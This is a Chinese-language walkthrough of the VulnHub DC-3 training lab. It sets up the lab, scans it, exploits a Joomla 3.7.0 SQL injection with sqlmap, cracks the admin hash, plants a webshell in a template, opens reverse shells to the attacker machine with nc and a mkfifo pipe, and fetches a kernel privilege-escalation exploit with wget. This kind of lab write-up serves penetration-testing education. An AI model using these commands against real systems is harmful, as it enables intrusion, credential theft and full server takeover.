靶场的搭建
设备:vm虚拟机,靶场的镜像,kali
靶场的镜像我已经放在下面的迅雷网盘里,因为文件比较大,用迅雷下载快一点,解压后直接用vm打开就好,但是会出现一些问题需要配置一些信息:
分享文件:DC-3-2.zip
链接:https://pan.xunlei.com/s/VOMVOiJQ9auHI1cKyZHgksltA1?pwd=7ums#
复制这段内容后打开迅雷,查看更方便
1.点击重试就好了
2.网络的配置,靶场和攻击机(kali)都要在nat模式的网络连接,但是发现无法编辑虚拟机设置
提示我们错误信息在日志中,我们可以看一下报错的日志,发现是兼容性不对,所以造成了错误,我们可以改一下兼容性,改成16.2的版本就可以了,接下来就是克隆,克隆成功后可以编辑网络设置,改为nat模式
3.开启发现虚拟机提示,按照错误的提示改一下磁盘设置就可以了
靶场成功搭建成功
信息收集
主机扫描
netdiscover -r 192.168.2.0/24
可得靶场的ip为192.168.2.136
端口扫描
namp -sS -sV -A -n 192.168.2.136
只开放了80端口
目录扫描
dirb http://192.168.2.136
发现一个后台管理页面:http://192.168.2.136/administrator
网站信息扫描
whatweb -v 192.168.2.136
信息收集总结
开放的端口:80
CMS:Joomla 是一个免费的开源内容管理系统,php常见的cms框架,用于发布 Web 内容
后台管理页面:http://192.168.2.136/administrator
漏洞利用
CMS框架(joomla)
拿到一个网址的cms,我们首先要去找出他的版本号,找一下这个版本在市面上有没有存在漏洞, 对于joomla,kali内置了一个工具专门针对它的漏扫工具joomscan
Joomscan漏扫工具
r如果没有安装的可以按照下面的步骤
sudo apt update #更新源
sudo apt install joomscan #下载
joomscan -h
安装成功
joomla --url http://192.168.2..136
发现joomla的版本是:3.7.0,而且没检测到防火墙
扫描漏洞
searchsploit joomla 3.7.0
发现第一个文件提示我们sql注入
下载文件
searchsploit 42033 -m
发现有一个CVE-2017-8917漏洞,我们可以利用搜索引擎去得到该漏洞的更多信息,经过了解,发现是由于对请求数据过滤不严谨才导致com_fields这个组件任何人都可以访问,无需登录验证
查看一下该txt文件还有什么信息,这个文件也提示我们了,是用sqlmap工具进行GET型的自动SQL注入,代码也已经告诉我们了,想要了解更多sqlmap工具的使用可以看一下我写的这一篇:
https://blog.csdn.net/2301_77091612/article/details/145864232?fromshare=blogdetail&sharetype=blogdetail&sharerId=145864232&sharerefer=PC&sharesource=2301_77091612&sharefrom=from_link
csdn
sqlmap注入
注意改一下自己靶场的ip地址
爆出数据库
sqlmap -u "http://192.168.2.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
选项都选yes
得到5个数据库,安装一般情况下的命名,选择爆出joomladb数据库中的数据表
爆出数据表
sqlmap -u "http://192.168.2.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
得到了一堆数据表,但是一般的用户名一些登录信息在users表里,所以我们来爆出该表的字段
爆出数据表的字段
sqlmap -u "http://192.168.2.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
得到全部的字段,但是我们前面发现了两个登录的页面,我们来爆出name,username,password三个字段
爆出数据表的数据
sqlmap -u "http://192.168.2.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,username,password --dump -p list[fullordering]
得到用户名和密码,但是密码被加密了,我们可以用john解密
john解密密码
先把密码保存为1.txt
john 1.txt
得到密码为snoopy,登录成功
对这个网址逛了一会,发现在Templates下的模版里的php文件可以写入
上传小马蚁剑连接
我们可以上传我们的小马,随便打开一个模版中的index.php文件(index.php一般是网站的主页面),然后用蚁剑或者哥斯拉连接,我比较习惯用蚁剑连接
我们进入终端发现权限是普通用户(www-data),所以我们要反弹shell,和VunHub的这一个靶场一样:
https://blog.csdn.net/2301_77091612/article/details/146175276?fromshare=blogdetail&sharetype=blogdetail&sharerId=146175276&sharerefer=PC&sharesource=2301_77091612&sharefrom=from_link
csdn
先开启kali(192.168.2.129)的监听端口
nc -lvvp 7777
nc反弹
靶机端:蚁剑终端上nc反弹:(-e参数不可用)
nc -e /bin/bash 192.168.2.136 7777
rm /tmp/f #rm 删除文件 因为要保证没有/tmp/f 这个文件
mkfifo /tmp/f #mkfifo :创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.129 7777 >/tmp/f
反弹shell成功
提权到root
了当我们反弹shell后要提高权限才能成为root账户
先进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
命令提权
一般先考虑sudo和suid提权,先find一下看看哪些命令可以用,发现sudo能用
find / -perm -u=s 2>null
sudo -l提权发现需要密码,但是试了一下密码snoopy,不对
去蚁剑看看etc/passwd文件,发现这些账号都是没有密码的,所以sudo密码验证失败,必须生成一个有密码的账户,我们 可以利用python的加密库生成Linux系统用户密钥
格式:
root:x:0:0:root:/root:/bin/bash
x为密码
发现保存失败,查看一下有哪些文件有读写的权限,发现/etc/passwd写的权限,所以保存不了
find / -writable -type f 2>/dev/null
那么我们只能考虑系统漏洞提权
系统内核漏洞提权
查看系统信息
看看系统的版本,发现是ubuntu 16.04版本系统有没有什么可以利用的漏洞
查看内核版本:uname -a
查看系统发行版本:cat /etc/*-release
searchsploit ubuntu 16.04
利用漏洞
下载这个文件
searchsploit 39772 -m
该文件写了一些操作和使用方法,下面也给了exp的下载链接,我们先下载下来,再把该文件传到dc3靶机上,先开启http服务之前,先把文件移动到/var/www/html目录 上(是攻击机的根目录)
mv 39772.zip /var/www/html
journalctl -xeu apache2.service
用靶机 去下载exp
wget http://192.168.2.129/39772.zip
根据前面的文件的提示,解压压缩包,再运行压缩包中的两个脚本就可以提权成功
提权成功
得到flag
推荐一个很好用的项目,这个是msf的漏洞库的详细解释,我们拿到系统版本信息后,可以看一下msf中漏洞,再在这个文档中找对应的信息,其实每一个靶场的漏洞很多,可以一个个利用学习:
metasploit-framework/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md at master · rapid7/metasploit-framework · GitHub
github
感兴趣的可以关注微信公众号【Cauchy安全】,一起一步步慢慢来,该到达的高度终将会抵达的,加油,如有雷同纯属巧合
原文始发于微信公众号(Cauchy安全):VulnHub靶场之DC-3超详细Joomla漏洞命令提权和系统内核漏洞提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论